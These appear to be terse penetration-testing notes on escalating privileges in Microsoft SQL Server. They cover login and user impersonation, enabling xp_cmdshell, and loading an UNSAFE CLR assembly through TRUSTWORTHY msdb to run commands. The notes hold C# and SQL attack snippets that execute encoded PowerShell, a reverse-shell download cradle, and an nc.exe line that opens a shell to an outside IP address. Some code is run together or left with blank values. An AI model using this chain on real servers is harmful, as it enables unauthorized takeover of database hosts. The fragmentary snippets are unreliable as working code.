With sysadmin role membership, it's possible to obtain code execution on the Windows server hosting the SQL database. - if nothing found, try grap Get NTLMv2 hash of the service accounts
#OS admin to sysadmin via service account impersonation, then all PowerUpSQL commands can be run as a sysadmin.Invoke-SQLImpersonateService-Verbose -Instance
Only users with the explicit Impersonate permission are able to use impersonation. This permission is not part of the default set of permissions for most users, but database administrators may introduce misconfigurations that can lead to privilege escalation. This permission is implied for sysadmin for all databases, and db_owner role members in databases that they own.
USE master; GRANT IMPERSONATE ON LOGIN::sa to [domain\user]; GO;
USE msdb; GRANT IMPERSONATE ON USER::dbo TO dbuser; GO;
// Get logins that we can impersonateString res = executeQuery("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'; ", con);Console.WriteLine($"[*] User can impersonate the following logins: {res}.");
If find that our unprivileged login can impersonate the sa login. This effectively gives us database server administrative privileges.
2) insert into Main
// Impersonate sa login and get login informationString su = executeQuery("SELECT SYSTEM_USER;", con);String un = executeQuery("SELECT USER_NAME();", con);Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'.");String res = executeQuery("EXECUTE AS LOGIN = ;", con); //modify to impersonate-able user resulted from 1) // User level impersonate //String res = executeQuery("use msdb; EXECUTE AS USER = 'dbo';", con);Console.WriteLine($"[*] Triggered impersonation."); su = executeQuery("SELECT SYSTEM_USER;", con); un = executeQuery("SELECT USER_NAME();", con);Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'.");
if impersonate sa
// We can execute through 'xp_cmdshell' if impersonating sa, adding after the above res = executeQuery("EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;", con);Console.WriteLine("[*] Enabled 'xp_cmdshell'.");String cmd ="powershell -enc "; res = executeQuery($"EXEC xp_cmdshell '{cmd}'", con);Console.WriteLine($"[*] Executed command! Result: {res}");
//Replace String res = executeQuery("EXECUTE AS LOGIN = 'sa';", con); with String res = executeQuery("use msdb; EXECUTE AS USER = 'dbo';", con);
Impersonation must have been granted to our user for a different user that has additional role memberships, preferably the sysadmin role.
A database user can only perform actions on a given database. This means that impersonation of a user with sysadmin role membership in a database does not necessarily lead to server-wide sysadmin role membership (default only = to be server-wise sysadmin).
To fully compromise the database server, the database user we impersonate must be in a database that has the TRUSTWORTHY property set - msdb (the only native db that has this property, but custom databases may use it as well). The database owner (dbo) user has the sysadmin role on it.
If a database has the TRUSTWORTHY property set, it's possible to use the CREATE ASSEMBLY statement to import a managed DLL as an object inside the SQL server and execute methods within it.
String su = executeQuery("SELECT SYSTEM_USER;", con);String un = executeQuery("SELECT USER_NAME();", con);Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'."); // Impersonate sa, loading and executing command through custom assembliesString res = executeQuery("EXECUTE AS LOGIN = 'sa';", con); // User level impersonate //String res = executeQuery("use msdb; EXECUTE AS USER = 'dbo';", con);Console.WriteLine("[*] Triggered impersonation."); su = executeQuery("SELECT SYSTEM_USER;", con); un = executeQuery("SELECT USER_NAME();", con);Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'."); res = executeQuery("use msdb; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'clr enabled', 1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;", con);Console.WriteLine("[*] Enabled CLR Integration and disabled CLR strict security.");; res = executeQuery($"CREATE ASSEMBLY my_assembly FROM '{dllhex}' WITH PERMISSION_SET = UNSAFE;", con);Console.WriteLine("[*] Created custom assembly with DLL."); res = executeQuery($"CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];", con);Console.WriteLine("[*] Created procedure based on the custom DLL method.");String cmd ="powershell -enc "; res = executeQuery($"EXEC cmdExec '{cmd}';", con);Console.WriteLine($"[*] Executed command!");
Created a procedure with the custom assembly that executes commands, such that it can execute PowerShell reverse shell download cradle and run the shellcode without using native procedures.
Can also use nc.exe 192.168.119.120 443 -e cmd.exe for evasions. (need transfer to the linked server via the RCE first)